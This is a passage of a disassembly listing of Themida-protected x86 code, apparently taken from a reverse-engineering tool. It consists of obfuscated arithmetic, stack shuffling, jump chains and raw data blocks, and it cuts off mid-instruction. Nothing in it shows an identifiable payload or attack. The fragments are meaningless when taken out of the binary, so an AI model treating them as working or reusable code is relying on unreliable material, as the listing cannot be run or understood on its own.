0EF0B5F6h, 67702D00h dd 0CFE90AC7h, 0F6FFFF67h, 12CC80D4h, 8004E4C0h, 0B151D1C4h dd 42F180F0h, 0C006E1C0h, 34E903E9h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593E3F: ; CODE XREF: Themida_:loc_58DED8j jmp loc_58B22C ; --------------------------------------------------------------------------- dd 3481555Ah, 0F20A5824h, 0F3815B64h, 64F20A58h, 0FF9801E9h db 0FFh ; --------------------------------------------------------------------------- loc_593E59: ; CODE XREF: Themida_:0058B76Aj sub eax, 36DA3842h push edx mov edx, eax mov ecx, edx jmp loc_590B9E ; --------------------------------------------------------------------------- aSe db ')ΣιE/',0 dw 5700h dd 0C5ABF9BFh, 59545129h, 4C181h, 0E9830000h, 240C8704h dd 8924248Bh, 68502414h, 44E2235Ah, 29283558h, 4FE962E1h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_593E9B: ; CODE XREF: Themida_:0058B8E3j or eax, eax jz loc_5907E1 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_590D34 ; --------------------------------------------------------------------------- loc_593EAE: ; CODE XREF: Themida_:0058B79Bj mov esi, [esp] jmp loc_58C13B ; --------------------------------------------------------------------------- loc_593EB6: ; CODE XREF: Themida_:0058BB8Fj mov [esp], ebx jmp loc_5919AD ; --------------------------------------------------------------------------- loc_593EBE: ; CODE XREF: Themida_:00593D0Aj mov ebp, 1CB660BBh neg ebp sub ebp, 6A810DFAh xor ebp, 76C4F278h sub ebx, ebp pop ebp sub ebx, edi jmp loc_591C9E ; --------------------------------------------------------------------------- loc_593EDB: ; CODE XREF: Themida_:00595735j pop eax push 3259h mov [esp], esi mov esi, 6EEB32EBh shl esi, 6 dec esi sub esi, 11EC4B1Dh push 0 sub [esp], esi jmp loc_592059 ; --------------------------------------------------------------------------- loc_593F00: ; CODE XREF: Themida_:00594882j xchg edi, ebp push edx mov edx, 0C0FA05B1h xor ebp, edx push dword ptr [esp] pop edx add esp, 4 sub ebx, ebp jmp loc_592E67 ; --------------------------------------------------------------------------- loc_593F18: ; CODE XREF: Themida_:00595515j ; Themida_:0059787Dj mov ebx, 6ADC4F39h sub ebx, 5C4BE992h add edi, ebx pop ebx jmp loc_5922FF ; --------------------------------------------------------------------------- db 68h dd 24633F5Eh, 0FF8BB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_593F35: ; CODE XREF: Themida_:005926EEj pop ecx pop edx push ecx mov ecx, 4 jmp loc_58C059 ; --------------------------------------------------------------------------- loc_593F42: ; CODE XREF: Themida_:00594A67j pop ax add cl, 6 sub cl, 85h sub cl, bh add cl, 85h sub cl, 6 jmp loc_58BCCD ; --------------------------------------------------------------------------- db 0BDh dd 58CE28DBh, 622CBA52h, 0E28150B4h, 1151499Ah, 0FF9703E9h dd 96E9ACFFh, 80FFFFBAh, 870FAECEh, 0FFFF86AAh, 88C0EE80h dd 0B914E9F1h, 46B4FFFFh, 1F2EED81h, 22E94D3Bh db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593F93: ; CODE XREF: Themida_:00593BDFj add esi, edx add esi, 269B42BCh mov edx, [esp] add esp, 4 sub esi, 2821494h add esi, 14BF35EEh add esi, eax sub esi, 14BF35EEh add esi, 2821494h push ebp push eax jmp loc_58BAB2 ; --------------------------------------------------------------------------- dw 0C89h dd 4EFB124h, 28CE0462h, 0AABEE9C8h, 77FFFFFFh, 62F4E940h dd 83ACFFFFh, 69E904ECh, 59000010h, 0BE87E95Fh, 478FFFFFh dd 62DCE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_593FF2: ; CODE XREF: Themida_:00596296j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ebx mov eax, [esp] add esp, 4 push ecx jmp loc_58F677 ; --------------------------------------------------------------------------- db 89h dd 0B3BA52E7h, 0F7284B33h, 0FBC281D2h, 8177030Fh, 0B7DC43F2h dd 0E9D7014Eh, 0FFFFAF89h, 4240481h, 8B000000h, 0FAE9243Ch db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_594037: ; CODE XREF: Themida_:00595E11j sub eax, 7DB64511h sub eax, edx add eax, 7DB64511h jmp loc_59321F ; --------------------------------------------------------------------------- loc_594048: ; CODE XREF: Themida_:00597D40j mov ah, 0ECh inc ah xor ah, 0BBh add ch, ah pop eax sub ch, bl sub ch, 56h jmp loc_592A3A ; --------------------------------------------------------------------------- loc_59405C: ; CODE XREF: Themida_:0058D88Fj not edi push edx push ebp mov ebp, 1F9E23AFh xor ebp, 32424DD5h jns loc_58A723 and ebp, 2E86331Eh or ebp, 400507A8h loc_59407D: ; CODE XREF: Themida_:00592394j pop eax and ebp, ebx pop ebx sub ebp, 0EEFD9FECh xor eax, ebp pop ebp push ebp jmp loc_58FE0E ; --------------------------------------------------------------------------- loc_594090: ; CODE XREF: Themida_:0058CBA6j mov eax, [esp] jmp loc_595DB6 ; --------------------------------------------------------------------------- loc_594098: ; CODE XREF: Themida_:005953E5j jns loc_58F304 add ebp, 3EED7CF3h mov eax, ebp mov ebp, [esp] jmp loc_58C352 ; --------------------------------------------------------------------------- dw 0C3FEh dd 0E963B551h, 0FFFFD236h ; --------------------------------------------------------------------------- loc_5940B8: ; CODE XREF: Themida_:0058BA24j pop esp push ebp mov ebp, 190807E6h not ebp jmp loc_591697 ; --------------------------------------------------------------------------- dw 3489h dd 796DBE24h, 0EEC16A59h, 0D0850F05h, 8100000Dh, 1109A9F6h dd 5EEC15Eh db 46h, 53h ; --------------------------------------------------------------------------- loc_5940E2: ; CODE XREF: Themida_:0058BA2Ej sub ebp, 0FFFFFFFFh and ebp, 284340Ch not ebp inc ebp jmp loc_58FDEA ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB302h, 922D5B68h, 424A5A35h, 2797CA81h, 85E9115Dh dd 0FFFFFFDEh, 34FF2434h, 24048B24h, 57E28952h, 4B951h dd 0CF890000h, 0B0E95159h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594127: ; CODE XREF: Themida_:0058DB14j mov esp, [esp] and eax, ebp jmp loc_58C119 ; --------------------------------------------------------------------------- loc_594131: ; CODE XREF: Themida_:00591EE2j sub esp, 4 mov [esp], ebx mov ebx, 0E526BC8h jmp loc_58CB31 ; --------------------------------------------------------------------------- loc_594144: ; CODE XREF: Themida_:0058F69Bj push dword ptr [esp] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edi jmp loc_597D55 ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 241C8BDEh, 0FFEDADE9h, 0EC8159FFh, 4, 81242C89h dd 4ECh, 24248900h, 4240483h, 0D4BE565Dh, 0F70B6C50h, 0BC681DEh dd 8179ED0Dh, 0E9361BF6h, 0A2F68142h, 81102A27h, 43AD8AF6h dd 8F4FE93Ch, 34FFFFFFh, 2434FF24h, 0E0895058h, 0E42E9h dd 3CBF5700h, 0BD53DF34h, 777E653Bh, 0C15FFD31h, 0E95108E5h dd 33BEh, 240C8758h, 240CD35Ch, 60F8E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5941D6: ; CODE XREF: Themida_:005916BFj pop ecx push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx jmp loc_58D92B ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 16D8h, 0E9240C87h, 0FFFFD295h ; --------------------------------------------------------------------------- loc_594200: ; CODE XREF: Themida_:0059283Aj ja loc_591149 sub ebx, 1411871Fh and ecx, ebx mov ebx, [esp] push ebx mov ebx, esp sub ecx, ebp pop ebp xor ecx, [esp] jmp loc_5915DB ; --------------------------------------------------------------------------- db 55h dd 0CC1EF1BDh, 8EDC140h, 0CC1AF581h, 0EB010040h, 4EB815Dh dd 87000000h, 9BE9241Ch db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59423F: ; CODE XREF: Themida_:00594714j not eax jmp loc_590631 ; --------------------------------------------------------------------------- dw 7868h dd 89000019h, 5052240Ch, 88F8B753h, 0BAE95BFCh, 0F7FFFFEFh dd 1636E9DEh, 0F75F0000h, 0FFEB81DBh, 81FFFFFFh, 0E6F0CEF3h dd 5BDE2983h, 5652FE29h, 0FF75D7E9h, 2BF57FFh, 81000000h dd 1069F7C3h, 0E9FB011Fh, 10DAh ; --------------------------------------------------------------------------- loc_594290: ; CODE XREF: Themida_:00592B9Cj mov esp, [esp] mov [esp], eax jmp loc_58A801 ; --------------------------------------------------------------------------- db 81h dd 0C80434E7h, 0B6880F30h, 81FFFFDFh, 0D06334C7h, 0B6FCE968h dd 148BFFFFh, 4C48124h, 0E9000000h, 3D37h ; --------------------------------------------------------------------------- loc_5942C0: ; CODE XREF: Themida_:00597BF4j add esp, 4 or edx, eax shl edx, 1 push 7BF0h mov [esp], ecx sub esp, 4 mov [esp], edx push 1 pop edx jmp loc_58B7F4 ; --------------------------------------------------------------------------- loc_5942E3: ; CODE XREF: Themida_:0058D857j push ebp mov ebp, 56B579BBh shr ebp, 6 xor ebp, 34C522DBh neg ebp add ebp, 32727084h shl ebp, 1 add ebp, 52D17DF8h jmp loc_5939EA ; --------------------------------------------------------------------------- loc_594307: ; CODE XREF: Themida_:0058A78Cj push edi mov edi, 8DF9C78Eh jmp loc_5964B8 ; --------------------------------------------------------------------------- dw 48Fh dd 0EB55E924h, 815DFFFFh, 7A4E2404h, 0A7E907D1h, 0BBFFFF5Fh dd 2Ch, 39E1C381h, 0EB817AF4h, 19387EE3h, 0C381FB01h, 19387EE3h dd 4EC81h, 34890000h, 5FDBBE24h, 0EEC1341Eh, 2030E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594356: ; CODE XREF: Themida_:005939FEj pop ebx mov edi, ebp jmp loc_59798B ; --------------------------------------------------------------------------- dw 4BFh dd 1000000h, 243C8BFEh, 5004C483h, 0FFA0CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_594371: ; CODE XREF: Themida_:0058A896j sub bl, cl pop cx sub bl, 66h movzx eax, al mov dx, [esp] push edi push esp pop edi sub esp, 4 mov [esp], ebp jmp loc_58C7DE ; --------------------------------------------------------------------------- loc_594390: ; CODE XREF: Themida_:00595435j mov ecx, [esp] add esp, 4 pop edx sub al, bl jmp loc_58B632 ; --------------------------------------------------------------------------- dw 565Fh dd 0C681E689h, 4, 4B951h, 0CE010000h, 74FF5659h, 8F5E0424h dd 4FE92404h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5943BF: ; CODE XREF: Themida_:00596CC4j push 3DFDh mov [esp], eax jmp loc_58F259 ; --------------------------------------------------------------------------- loc_5943CC: ; CODE XREF: Themida_:0058FD8Bj pop eax jmp loc_5916CB ; --------------------------------------------------------------------------- dw 8957h dd 36CE9E7h, 0EE810000h, 718E0A0Fh, 1419BF57h, 69E971F2h dd 8BFFFFA3h, 0CE92404h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5943F3: ; CODE XREF: Themida_:loc_58F12Aj shl ecx, 2 jns loc_58CBED add ecx, 0E4CF820Dh mov esi, ecx pop ecx jmp loc_590CB7 ; --------------------------------------------------------------------------- loc_59440A: ; CODE XREF: Themida_:00597F92j dec esi xor esi, 607021C3h xor edx, esi pop esi sub edx, 6A2E8DF8h and ebx, edx pop edx or ebx, 54685089h shr ebx, 6 add ebx, 48E8AEC6h sub ebp, ebx pop ebx sub esi, 2CFD2B33h add esi, 220B2D76h jmp loc_58D27D ; --------------------------------------------------------------------------- loc_594440: ; CODE XREF: Themida_:005970ABj push 156h mov [esp], ecx mov ecx, 65526119h jmp loc_597A80 ; --------------------------------------------------------------------------- dw 0CF80h dd 3EFC04Bh, 0DFEF80h, 241C8BF8h, 1214E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594466: ; CODE XREF: Themida_:00592E3Dj mov esi, esp jmp loc_58EB1F ; --------------------------------------------------------------------------- loc_59446D: ; CODE XREF: Themida_:00590DA1j pop edx xchg ebx, [esp] jmp loc_58C51B ; --------------------------------------------------------------------------- loc_594476: ; CODE XREF: Themida_:0058FE5Bj jmp loc_5909F8 ; --------------------------------------------------------------------------- db 57h dd 4BFh, 81E95700h, 0FF000001h, 0E9042474h, 0FFFF6E26h ; --------------------------------------------------------------------------- loc_594490: ; CODE XREF: Themida_:0059145Dj mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_592CAD ; --------------------------------------------------------------------------- db 81h dd 2CD789EEh, 78A205C1h, 0BE05140Ch, 0E95F5D17h, 2715h ; --------------------------------------------------------------------------- loc_5944BC: ; CODE XREF: Themida_:0058D934j pop ebx add esp, 4 jmp loc_58F42A ; --------------------------------------------------------------------------- dd 0FFD066E9h, 48B66FFh, 4EA76824h, 0B0E90000h, 66000000h dd 57240C8Bh, 33F4E9h db 0 ; --------------------------------------------------------------------------- loc_5944E5: ; CODE XREF: Themida_:0058F1D6j or eax, eax jz loc_58F5B5 push dword ptr [edi+1Ch] jmp loc_5904E6 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0D3h dd 0F755B465h, 43870FDBh, 0F7FFFFB3h, 0DDC381D3h, 0F41EA2Dh dd 0FFA35983h, 0ABEB81FFh, 0E9296387h, 0FFFF9629h, 8F665966h dd 53662404h, 2BB66h, 246C8166h, 6619D602h, 2245C01h, 24448166h dd 6619D602h, 0A24DE95Bh, 8868FFFFh, 89000054h, 2BA2414h dd 1000000h, 2C335AD5h, 242C3124h, 8B242C33h, 89562424h dd 2403E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594566: ; CODE XREF: Themida_:0058F125j push eax mov eax, 599D6AFEh jmp loc_59572E ; --------------------------------------------------------------------------- db 59h, 8Ah, 7Ch dd 64880224h, 0DEE90224h, 80000026h, 68667EE7h, 21E95084h dd 89000029h, 46E9242Ch, 0FFFFFD5h, 0FFEFFF87h, 3FCE9FFh dd 0FEB60000h, 0F18BCEFEh db 88h, 0DDh ; --------------------------------------------------------------------------- loc_5945A6: ; CODE XREF: Themida_:0058DE87j pop ebp mov dword ptr [edx], 1 mov edx, [esp] add esp, 4 push esi mov esi, 7E0C27E0h sub esi, 3BCF57CAh jbe loc_592268 shl esi, 3 jmp loc_597C92 ; --------------------------------------------------------------------------- dd 8103E9C1h, 0B0A706F1h, 0E9C88939h, 0FFFF9D20h ; --------------------------------------------------------------------------- loc_5945E0: ; CODE XREF: Themida_:0058B09Cj shr edi, 6 sub edi, 71E80F89h jmp loc_592F62 ; --------------------------------------------------------------------------- dw 5E68h dd 0E924633Fh, 0FFFFBC2Bh ; --------------------------------------------------------------------------- loc_5945F8: ; CODE XREF: Themida_:00593232j push esi mov esi, esp push ebx mov ebx, 4 add esi, ebx jmp loc_597166 ; --------------------------------------------------------------------------- dd 0B1E8E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59460E: ; CODE XREF: Themida_:0058D43Aj push eax mov eax, 4 sub esi, eax jmp loc_58B2C6 ; --------------------------------------------------------------------------- db 68h dd 36A4h, 0BF243C89h, 3F122986h, 8107E7C1h, 7245DCE7h dd 92F78149h, 15C8522h, 37E95FF9h, 53FFFF70h, 2236E9h dd 0E9982C00h, 0FFFFD347h ; --------------------------------------------------------------------------- loc_59464C: ; CODE XREF: Themida_:0058EBF9j pop edx add ebp, edi jmp loc_58B21A ; --------------------------------------------------------------------------- loc_594654: ; CODE XREF: Themida_:005946AEj push ebx mov ebx, 4 add edx, ebx push dword ptr [esp] pop ebx jmp loc_58EBB5 ; --------------------------------------------------------------------------- db 81h, 0C2h, 79h dd 89D922E3h, 0D9F75AD1h, 3500E9h db 0 ; --------------------------------------------------------------------------- loc_594675: ; CODE XREF: Themida_:0058B360j add edx, edi jmp loc_58B9C9 ; --------------------------------------------------------------------------- dd 56E9C381h, 0E9568CE2h, 0FFFF6F27h ; --------------------------------------------------------------------------- loc_594688: ; CODE XREF: Themida_:00592B93j mov ebp, 615E7027h or eax, ebp pop ebp xor eax, 0B4449CC9h sub ebp, eax pop eax jmp loc_597C14 ; --------------------------------------------------------------------------- db 57h, 56h, 0BEh dd 6BE54E83h, 0FF8CE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5946A9: ; CODE XREF: Themida_:00595C13j mov [esp], edx push esp pop edx jmp loc_594654 ; --------------------------------------------------------------------------- loc_5946B3: ; CODE XREF: Themida_:00596650j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0E9h, 95h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5946BF: ; CODE XREF: Themida_:0058C4B6j xchg esi, [esp] pop esp push ebp push ecx mov ecx, 7D0878FBh mov ebp, ecx pop ecx shr ebp, 2 jnp loc_58DFBD jmp loc_590118 ; --------------------------------------------------------------------------- db 0F7h dd 34FF241Ch db 24h, 8Bh, 0CFh ; --------------------------------------------------------------------------- loc_5946E3: ; CODE XREF: Themida_:0058D389j pop edx pop ecx add eax, ecx push ecx push 0F372D67h pop ecx jmp loc_59615A ; --------------------------------------------------------------------------- loc_5946F3: ; CODE XREF: Themida_:00592D47j jmp loc_5909F8 ; --------------------------------------------------------------------------- dd 1068E389h, 8900004Ah, 0E8BF243Ch, 0E946F60Eh, 0FFFF77EAh ; --------------------------------------------------------------------------- loc_59470C: ; CODE XREF: Themida_:0058B600j shl eax, 1 jnp loc_590EDD jmp loc_59423F ; --------------------------------------------------------------------------- loc_594719: ; CODE XREF: Themida_:00597D02j sub ebp, 4291057Dh jnz loc_5955E8 add ebp, 0F4D74686h mov ebx, ebp pop ebp inc ebx xchg ebp, ebx not ebp pop edx loc_594734: ; CODE XREF: Themida_:0058D056j mov ebp, eax pop eax sub [edi+24h], ebp push dword ptr [esp] mov ebp, [esp] push ebx jmp loc_58C450 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0FFF533E9h, 60B951FFh, 491D527Eh, 0BF575541h, 57975120h dd 0C6E9FD89h, 2DFFFFD8h, 4, 5C240487h, 24048F54h, 4BB53h dd 5C010000h, 0E95B0424h, 0FFFFEB30h, 8904EC83h, 0B050240Ch dd 0E9C8FE27h, 0FFFFF4B8h, 0B4240489h, 0F685E918h, 0EEC0FFFFh dd 8B850F04h, 80FFFFCCh, 5CE94CF6h, 0B3FFFFA9h, 28E6B5C7h dd 0C8B66EBh, 2C48324h, 801EB151h, 0CB002FC1h, 0FFE3F7E9h dd 0C99BE9FFh, 0EC81FFFFh, 4, 0E9241489h, 0FFFF91D9h ; --------------------------------------------------------------------------- loc_5947DC: ; CODE XREF: Themida_:0058B734j jp loc_58BB23 or dl, 81h jnp loc_596CA1 push ebx mov bl, 1Ch not bl jmp loc_58FB47 ; --------------------------------------------------------------------------- db 59h, 8Bh, 0CEh ; --------------------------------------------------------------------------- loc_5947F8: ; CODE XREF: Themida_:0058D5E9j pop esi add ebx, edi sub ebx, 40314BC9h jmp loc_58F7A5 ; --------------------------------------------------------------------------- loc_594806: ; CODE XREF: Themida_:0058CBF6j add esi, 644E1B53h push eax jmp loc_58B51F ; --------------------------------------------------------------------------- loc_594812: ; CODE XREF: Themida_:0058E92Cj pop ebp mov ecx, ebp pop ebp jmp loc_59168F ; --------------------------------------------------------------------------- loc_59481B: ; CODE XREF: Themida_:0058BDD5j add edi, 1CEA6F0Dh sub edi, 7B762154h xor edi, 73C754D7h jmp loc_5921A6 ; --------------------------------------------------------------------------- dw 0B850h dd 32BB0C87h, 0F215592Dh, 2DD0F717h, 36AB583Eh, 3189E9h dd 5905BB00h, 5C295D52h, 295B0824h, 5604246Ch, 237BE9h dd 8BE58100h, 0E95C543Eh, 2511h ; --------------------------------------------------------------------------- loc_594868: ; CODE XREF: Themida_:0058DFADj mov edx, esi push dword ptr [esp] pop esi add esp, 4 and eax, edx pop edx or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_58C8BC ; --------------------------------------------------------------------------- loc_594880: ; CODE XREF: Themida_:005924C0j not edi jmp loc_593F00 ; --------------------------------------------------------------------------- loc_594887: ; CODE XREF: Themida_:0058EC53j push edx add dword ptr [esp], 2BEF5894h pop eax sub eax, 2BEF5894h jmp loc_596AAC ; --------------------------------------------------------------------------- loc_59489A: ; CODE XREF: Themida_:0058B77Aj mov [esp], eax mov eax, 1 mov edx, eax mov eax, [esp] jmp loc_596173 ; --------------------------------------------------------------------------- loc_5948AC: ; CODE XREF: Themida_:005932A8j sub ecx, 31B152B2h jmp loc_5953C4 ; --------------------------------------------------------------------------- loc_5948B7: ; CODE XREF: Themida_:00595E06j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push eax mov eax, 4 sub ebp, 68B54411h jmp loc_596928 ; --------------------------------------------------------------------------- db 66h dd 662645BDh, 7EE9E5D1h, 0C1FFFFDAh, 0D3F703EBh, 2972B951h dd 0D9F759CCh, 0C1D1F741h, 89E904E1h, 83FFFFD4h, 0CE904ECh db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59490B: ; CODE XREF: Themida_:0058CCBFj ; Themida_:0058F119j jmp loc_58A2CE ; --------------------------------------------------------------------------- dd 0FF2434FFh, 148B2434h, 4C48124h, 56000000h, 0C681E689h dd 4, 3304C683h, 34312434h, 734DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594936: ; CODE XREF: Themida_:0059209Cj push eax jmp loc_59366E ; --------------------------------------------------------------------------- loc_59493C: ; CODE XREF: Themida_:005975B3j mov edx, [esp] add esp, 4 add al, bh mov ebx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx mov bl, 35h push eax mov al, 0EBh inc al xchg cl, al jmp loc_58C03A ; --------------------------------------------------------------------------- loc_594971: ; CODE XREF: Themida_:00591B9Bj add edi, 25200235h neg edi jge loc_591909 xor edi, 0AFCAA726h push edi pop esi pop edi mov edx, esi mov esi, [esp] add esp, 4 add edx, edi jmp loc_590E7D ; --------------------------------------------------------------------------- aSd db '^ι)',0 align 10h dd 40E9FE87h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5949A7: ; CODE XREF: Themida_:0058BB01j pop ecx add bl, al jmp loc_591EF3 ; --------------------------------------------------------------------------- db 81h dd 2E09B2CEh, 0C523E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5949BA: ; CODE XREF: Themida_:0058FDF2j and ebp, edx jmp loc_595EED ; --------------------------------------------------------------------------- loc_5949C1: ; CODE XREF: Themida_:0058A94Fj add esp, 4 shr eax, 0Ah xor eax, ecx push 5612h jmp loc_597D77 ; --------------------------------------------------------------------------- db 81h dd 71A2B7F3h, 4EC8354h, 0E9241489h, 0FFFF968Ah ; --------------------------------------------------------------------------- loc_5949E4: ; CODE XREF: Themida_:0058EEE1j add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_58B6B0 ; --------------------------------------------------------------------------- dd 24048B66h, 0FF7B6AE9h, 0E9FA01FFh, 0FFFFAD3Bh ; --------------------------------------------------------------------------- loc_594A14: ; CODE XREF: Themida_:0059591Cj mov ebx, ecx pop ecx shl ebx, 7 not ebx inc ebx add ebx, 719BFD82h add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_58DFDF ; --------------------------------------------------------------------------- dd 507240BDh, 7B6E91Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_594A3E: ; CODE XREF: Themida_:0058D62Bj shr eax, 6 jmp loc_58C546 ; --------------------------------------------------------------------------- loc_594A46: ; CODE XREF: Themida_:0058DD5Ej ; Themida_:00593ABFj push ecx mov ch, 47h jmp loc_58C7F9 ; --------------------------------------------------------------------------- loc_594A4E: ; CODE XREF: Themida_:00595741j push eax mov eax, 4 jmp loc_592B87 ; --------------------------------------------------------------------------- db 0C0h, 0E4h, 3 dd 0FFB478E9h db 0FFh ; --------------------------------------------------------------------------- loc_594A61: ; CODE XREF: Themida_:0058EC99j push ax mov ah, 66h add cl, ah jmp loc_593F42 ; --------------------------------------------------------------------------- loc_594A6C: ; CODE XREF: Themida_:00590A48j add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] pop esp sub esp, 4 mov [esp], edi push ebp push esi push 547819ABh pop esi mov ebp, esi pop esi shr ebp, 3 push 53B8h mov [esp], edx mov edx, 282D4C8Ch sub ebp, edx pop edx add ebp, 500D551Eh jns loc_596ACF add ebp, 76162828h jmp loc_5923DB ; --------------------------------------------------------------------------- db 0C6h, 0C1h, 0D0h dd 0F1804EB1h, 59CB28AEh, 0CEB80h, 0CC380C3h, 0E0B15166h dd 27F5E9h, 84820F00h, 0E9000003h, 0FFFF891Ch, 0EF88F789h dd 0EA814BB3h, 0D607D4h, 5F2434FFh, 5004C483h, 0FFE5A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_594AFD: ; CODE XREF: Themida_:0058FAD7j and ebp, esi pop esi xor ebp, 70252284h add ecx, ebp mov ebp, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_591D0B ; --------------------------------------------------------------------------- db 0E9h, 5Ch, 0F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594B1E: ; CODE XREF: Themida_:0059666Cj mov [esp], ebp mov ebp, 5EB64723h jmp loc_58EB69 ; --------------------------------------------------------------------------- loc_594B2B: ; CODE XREF: Themida_:loc_58CED7j ; Themida_:00597E19j push ecx push edi mov edi, 2810337Eh jmp loc_58D2DA ; --------------------------------------------------------------------------- loc_594B37: ; CODE XREF: Themida_:00594FE4j pop eax jmp loc_597062 ; --------------------------------------------------------------------------- db 0FEh, 0C7h, 80h dd 0F9885BF7h, 8BC8305Bh, 66E9240Ch db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594B4F: ; CODE XREF: Themida_:0058D15Fj push esp pop ecx add ecx, 4 push edi push esi jmp loc_597E45 ; --------------------------------------------------------------------------- loc_594B5E: ; CODE XREF: Themida_:0059201Dj mov ecx, esp jmp loc_595705 ; --------------------------------------------------------------------------- db 0BBh, 0F4h, 74h dd 0F381564Dh, 4B7420AEh, 1C8BD889h, 4C48124h, 2D000000h dd 396524E6h, 776DBB53h, 0D831C1C8h, 0FFCB4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_594B8D: ; CODE XREF: Themida_:00592411j sub esi, eax pop eax and esi, 688F04B7h jmp loc_595258 ; --------------------------------------------------------------------------- loc_594B9B: ; CODE XREF: Themida_:005914E4j add ebp, 0A2706DBh sub edx, 5B8A3F89h jmp loc_58A9A8 ; --------------------------------------------------------------------------- loc_594BAC: ; CODE XREF: Themida_:00596835j neg eax jbe loc_58C72E add eax, 0B13531EBh jmp loc_590C11 ; --------------------------------------------------------------------------- dw 0CEE9h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594BC3: ; CODE XREF: Themida_:00593C14j jmp loc_591954 ; --------------------------------------------------------------------------- dd 4B850h, 0C3010000h, 5B686858h, 3C890000h, 76E95124h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594BDF: ; CODE XREF: Themida_:00590C59j push edx mov edx, 7E802668h inc edx xchg eax, edx not eax xchg eax, edx inc edx shl edx, 3 shr edx, 5 add edx, 61CCE833h add ebx, edx pop edx xor ebp, ebx mov ebx, [esp] add esp, 4 push edx push esi mov esi, 0 push esi pop edx pop esi sub edx, ebp jmp loc_597832 ; --------------------------------------------------------------------------- loc_594C16: ; CODE XREF: Themida_:0058CE85j xchg ecx, [esp] pop esp div cl movzx cx, ah push 554Bh mov [esp], esi push esp pop esi push eax jmp loc_58D085 ; --------------------------------------------------------------------------- loc_594C30: ; CODE XREF: Themida_:0058E924j mov edi, 7D13274Ch inc edi push ecx jmp loc_593320 ; --------------------------------------------------------------------------- loc_594C3C: ; CODE XREF: Themida_:00596EFEj add dword ptr [esp], 4CB11663h pop ecx push edi push edx push 17B94C21h pop edx jmp loc_5972E7 ; --------------------------------------------------------------------------- loc_594C51: ; CODE XREF: Themida_:0058BC18j jmp loc_58B9A8 ; --------------------------------------------------------------------------- loc_594C56: ; CODE XREF: Themida_:0058A7FCj xor edi, 5BBE7399h neg edi jmp loc_593C61 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 0E902EE83h, 0FFFFD6ADh ; --------------------------------------------------------------------------- loc_594C74: ; CODE XREF: Themida_:00590F82j push edx mov edx, 4F8F6799h mov esi, edx push dword ptr [esp] pop edx add esp, 4 sub esi, 4F8F6798h push esi push ebp mov ebp, 6F646A69h sub [esp+4], ebp pop ebp pop eax add eax, 6F646A69h pop esi shl eax, cl push 24B0h mov [esp], edi mov edi, 0FFFFFFFFh jmp loc_58A7D7 ; --------------------------------------------------------------------------- loc_594CB3: ; CODE XREF: Themida_:loc_590EDDj jmp loc_58C4FF ; --------------------------------------------------------------------------- dd 5C243C87h, 0FF560DE9h db 0FFh ; --------------------------------------------------------------------------- loc_594CC1: ; CODE XREF: Themida_:0059634Ej add eax, ebx pop ebx push edi sub esp, 4 mov [esp], ebp mov ebp, 784120C6h push ebp pop edi jmp loc_59242F ; --------------------------------------------------------------------------- loc_594CDA: ; CODE XREF: Themida_:00596503j pop edi add ecx, 9B24B80h pop eax push 4F17h mov [esp], ebp push 38F32868h mov ebp, [esp] jmp loc_591B1E ; --------------------------------------------------------------------------- loc_594CF7: ; CODE XREF: Themida_:00591062j mov ebp, 1A661CA9h mov ebx, 80F9793Ch add ebx, 5BC2138Eh sub ebx, ebp sub ebx, 5BC2138Eh mov ebp, [esp] add esp, 4 sub ebx, 61EE235Ch push eax mov 